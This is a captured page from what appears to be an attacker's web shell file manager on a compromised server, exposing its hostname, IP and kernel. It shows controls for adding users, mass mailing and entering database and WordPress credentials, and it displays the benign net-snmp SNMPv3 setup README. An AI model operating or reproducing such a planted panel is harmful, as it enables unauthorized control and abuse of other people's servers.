System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
doc
/
net-snmp
/
216.73.216.38
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
README.snmpv3
README.snmpv3 ------------- How to setup SNMPv3, a very brief document for Dave to elaborate and do a better job on since I suck at writing documentation and he doesn't ;-) --Wes: Note: SHA authentication and DES/AES encryption support is only available if you have OpenSSL installed or if you've compiled using --with-openssl=internal. If you use --with-openssl=internal please read the documentation in snmplib/openssl/README for important details. Note: encryption support now *is* enabled in the binary releases downloadable from the net-snmp web site. Note: this description assumes you're using the software compiled from source, and so installed using the default prefix location (/usr/local). If you're working with a vendor-provided system, or have configured things with a different prefix, you'll need to adjust locations accordingly. CREATING THE FIRST USER: ------------------------ First, you need to create a new snmpv3 user and give them rights to do things: net-snmp-config --create-snmpv3-user -a "my_password" myuser WARNING: SNMPv3 pass phrases must be at least 8 characters long! The above line creates the user "myuser" with a password of "my_password" (and uses MD5 and DES for protection). (Note that encryption support isn't enabled in the binary releases downloadable from the net-snmp web site.) net-snmp-config will also add a line to your snmpd.conf file to let that user have read/write access to your agent. You may want to change this in your snmpd.conf file (see the snmpd.conf manual page). Run net-snmp-config --help for more information about it. Start the agent and test your setup: /usr/local/sbin/snmpd [...wait a few seconds... It will run in the background and return you to your shell immediately.] snmpget -v 3 -u myuser -l authNoPriv -a MD5 -A my_password localhost sysUpTime.0 [ this should return information about how long your agent has been up] snmpget -v 3 -u myuser -l authPriv -a MD5 -A my_password -x DES -X my_password localhost sysUpTime.0 [ this should return similar information, but encrypts the transmission ] CREATING A SECOND USER: ----------------------- Start the agent (if you didn't do so above). You can create as many users as you like using the above method, but this details another way of doing it while the agent is running by modifying the user database using the snmp protocol itself: Now, lets create a second user using the first user (just for fun) for both authentication purposes and as a template (or "cloning source"): snmpusm -v 3 -u myuser -l authNoPriv -a MD5 -A my_password localhost create wes myuser The above should have created the user "wes" with the same password as the "myuser" user. So then, you need to change his password using: snmpusm -v 3 -u wes -l authNoPriv -a MD5 -A my_password localhost passwd my_password new_passphrase See, wasn't that easy? You can now create users. Wheeee.... But, you'll have to add a configuration line that allows them access to do things. Do this with another "rwuser" line in your /usr/local/share/snmp/snmpd.conf file (you'll need to stop and start the agent again, or send the agent a SIGHUP signal): rwuser wes Or, optional use the "rouser" token instead of the "rwuser" token to only grant them read-only access. Now, test your new user: snmpget -v 3 -u wes -l authNoPriv -a MD5 -A new_passphrase localhost sysUpTime.0 FURTHER STUDIES: --------------- Tired of all those command line authentication options? ---------------------------------------- put something like this in your $HOME/.snmp/snmp.conf file (make it readable only by you!!!): defSecurityName wes defContext "" defAuthType MD5 defSecurityLevel authNoPriv defAuthPassphrase new_passphrase defVersion 3 And this is in place the last of the above example lines boils down to: snmpget localhost sysUpTime.0 Which is about as simple as I can make it for ya ;-)
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
..
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
AGENT.txt
text/plain
55.4 KB
-rw-r--r--
2018-07-16 02:33:40
COPYING
text/x-Algol68
21.5 KB
-rw-r--r--
2025-10-07 09:19:26
ChangeLog.trimmed
text/plain
250 KB
-rw-r--r--
2025-10-07 09:19:26
EXAMPLE.conf
text/plain
6.83 KB
-rw-r--r--
2025-10-07 09:18:32
FAQ
text/plain
167.57 KB
-rw-r--r--
2018-07-16 02:33:40
IETF-MIB-LICENSE.txt
text/x-Algol68
1.84 KB
-rw-r--r--
2025-10-07 09:17:36
NEWS
text/plain
68.83 KB
-rw-r--r--
2018-07-16 02:33:40
PORTING
text/x-c
3.48 KB
-rw-r--r--
2018-07-16 02:33:40
README
text/plain
13.5 KB
-rw-r--r--
2025-10-07 09:19:26
README.agent-mibs
text/plain
20.22 KB
-rw-r--r--
2018-07-16 02:33:40
README.agentx
text/plain
2.03 KB
-rw-r--r--
2018-07-16 02:33:40
README.krb5
text/plain
6.17 KB
-rw-r--r--
2018-07-16 02:33:40
README.mib2c
text/plain
7.45 KB
-rw-r--r--
2018-07-16 02:33:40
README.snmpv3
text/plain
3.98 KB
-rw-r--r--
2018-07-16 02:33:40
README.thread
text/plain
13.47 KB
-rw-r--r--
2018-07-16 02:33:40
TODO
text/plain
1.35 KB
-rw-r--r--
2018-07-16 02:33:40
ipf-mod.pl
text/x-perl
6.53 KB
-rw-r--r--
2018-07-16 02:33:40
passtest
text/x-shellscript
2.37 KB
-rwxr-xr-x
2018-07-16 02:33:40
~ ACUPOFTEA - mail.ontime-ae.com